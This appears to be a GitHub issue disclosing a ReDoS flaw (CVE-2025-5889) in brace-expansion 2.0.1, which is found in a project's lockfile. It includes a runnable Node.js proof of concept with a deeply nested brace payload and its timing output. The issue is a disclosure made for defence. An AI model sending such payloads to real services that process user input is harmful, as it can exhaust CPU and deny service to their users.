Skip to content

brace-expansion Regular Expression Denial of Service vulnerability #2700

@i5d6

Description

@i5d6

Summary:
ReDoS Vulnerability in brace-expansion (CVE-2025-5889)

Description:
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the brace-expansion package. The affected version 2.0.1 is currently present in the project (package-lock.json). An attacker can craft malicious inputs that cause excessive CPU consumption when processed by the library, leading to a Denial of Service (DoS) condition.

Steps To Reproduce

  1. Install the vulnerable version:
npm install brace-expansion@2.0.1
  1. Save the following code as poc.js:
const expand = require("brace-expansion");

function runReDoS(payload, label) {
  console.log(`\n[+] Testing: ${label}`);
  const start = Date.now();
  try {
    expand(payload);
  } catch (err) {
    console.error("Error:", err.message);
  }
  console.log(`Execution time: ${Date.now() - start} ms`);
}

console.log("Using brace-expansion version:", require("brace-expansion/package.json").version);

// Malicious nested payload
const evilMonster = "{a,".repeat(2000) + "b" + "}".repeat(2000);
runReDoS(evilMonster, "Evil Monster (2000 nested)");
  1. Execute:
node poc.js
  1. Result on version 2.0.1:
Using brace-expansion version: 2.0.1
[+] Testing: Evil Monster (2000 nested)
Execution time: 207 ms

Increasing the nesting to 5000 or more results in seconds of CPU lock, demonstrating the DoS potential.

Optional: Your Environment (Browser version, Device, etc)

  • Not specified

Optional: Supporting Material/References (Screenshots)

  • Impact: Attackers can exploit this flaw by sending malicious inputs (e.g., {a,{a,{a,...}}}), causing significant CPU consumption. This can lead to application slowdown, request queuing, or complete denial of service in production environments where user input is processed by brace-expansion (directly or indirectly via dependencies like minimatch, npm, or others).

https://github.com/modelcontextprotocol/servers/blob/main/package-lock.json#L6452
https://github.com/modelcontextprotocol/servers/blob/main/package-lock.json#L2616
https://github.com/modelcontextprotocol/servers/blob/main/package-lock.json#L6383

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions